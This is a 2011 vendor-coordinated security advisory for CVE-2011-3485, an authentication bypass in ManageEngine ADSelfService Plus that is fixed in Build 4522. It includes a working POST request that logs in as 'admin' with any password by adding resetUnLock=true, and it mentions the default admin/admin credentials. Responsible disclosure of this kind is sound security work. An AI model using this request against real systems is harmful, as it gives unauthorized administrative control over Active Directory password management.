ZOHO ManageEngine ADSelfService Plus Administrative Access
==========================================================

[ADVISORY INFORMATION]
Title:		ZOHO ManageEngine ADSelfService Plus Administrative Access
Release date: 	10/10/2011
Last update: 	10/10/2011
Credits: 	Roberto Paleari, Emaze Networks S.p.A. (roberto.paleari@emaze.net)
Advisory URL:   http://blog.emaze.net/2011/10/zoho-manageengine-adselfservice-plus.html

[VULNERABILITY INFORMATION]
Class: 	       Authentication issue, Administrative access
CVE: 	       CVE-2011-3485

[AFFECTED SOFTWARE]
    * ADSelfService Plus 4.5 Build 4521
Previous versions are probably also vulnerable, but they were not checked.

[VULNERABILITY DETAILS]
ManageEngine ADSelfService Plus is a web-based password management
infrastructure for Microsoft Windows Active Directory environments.

By default a local administrative account is configured, named "admin". The
administrative password is stored inside the local database in base64(md5(P|S))
form (P is the plain-text password, S is a password salt, and '|' is the string
concatenation operator). In the default installation, password for user "admin"
is also "admin", but the password can be changed after first login.

Unfortunately, due to a bug in the authentication procedure, malicious users
can authenticate without knowing the current plain-text password value.

Normal logins are eventually performed through POST requests similar to the
following:

<cut>
POST /j_security_check HTTP/1.1
Host: ...
Content-Length: ...

j_username=user&j_password=pass&domainName=domain&DIGEST=captcha&AUTHRULE_NAME=ADAuthenticator&domainAuthen=true
</cut>

However, due to a software defect, if a malicious user tries to log as the
"admin" user and adds to the POST body an additional parameter named
"resetUnLock" with value "true", then the application skips the password check
(i.e., you can supply any password and login succeeds).

As an example, an attacker can issue the following POST request to authenticate
as the "admin" user:

<cut>
POST /j_security_check HTTP/1.1
Host: ...
Content-Length: ...

j_username=admin&j_password=any&domainName=domain&DIGEST=captcha&AUTHRULE_NAME=ADAuthenticator&domainAuthen=true&resetUnLock=true
</cut>

[REMEDIATION]
Zoho included a fix to address this issue in ADSelfService Plus Build
4522. Emaze would like to thanks D. Ashok Kumar, of the ManageEngine
ADSelfService Plus team, for having coordinated the vulnerability handling
process.

[REPORT TIMELINE]
    * 26/08/2011 - Initial vendor contact. Publication date set to September
      20th, 2011.

    * 02/09/2011 - Vendor replied, asking for a phone contact number to discuss
      the details of the issue.

    * 03/09/2011 - Emaze asked to keep all the communication through e-mail, in
      order to keep track of the whole conversation. Publication date delayed
      to September 24th, 2011.

    * 06/09/2011 - Zoho answered, providing a GPG key to secure the
      communication.

    * 08/09/2011 - Emaze replied with the vulnerability details.

    * 15/09/2011 - Emaze asked to Zoho a status update about the vulnerability
      handling process.

    * 15/09/2011 - Zoho confirmed the vulnerability has been fixed, and the
      patch will be included in the upcoming ADSelfService Plus Build 4522
      release. According to Zoho, the new product build should be released "in
      a couple of weeks".

    * 15/09/2011 - Emaze replied asking if the current publication date
      (September 24th) is still appropriate.

    * 20/09/2011 - Zoho asked to move the publication date after the first week
      of October.

    * 21/09/2011 - Emaze set a new publication date to October 7th, 2011.

    * 10/10/2011 - Zoho released ADSelfService Plus Build 4522, which fixes the
      security vulnerability.

    * 11/10/2011 - Public disclosure.

[COPYRIGHT]
Copyright(c) Emaze Networks S.p.A. 2011, All rights reserved worldwide.
Permission is hereby granted to redistribute this advisory, providing that no
changes are made and that the copyright notices and disclaimers remain intact.

Emaze Networks has updated ipLegion, its vulnerability assessment platform, to
check for this vulnerability. Contact info@emaze.net to have more information
about ipLegion.

[DISCLAIMER]
Emaze Networks S.p.A. is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service to the
professional security community. There are NO WARRANTIES with regard to this
information. Any application or distribution of this information constitutes
acceptance AS IS, at the user's own risk. This information is subject to change
without notice.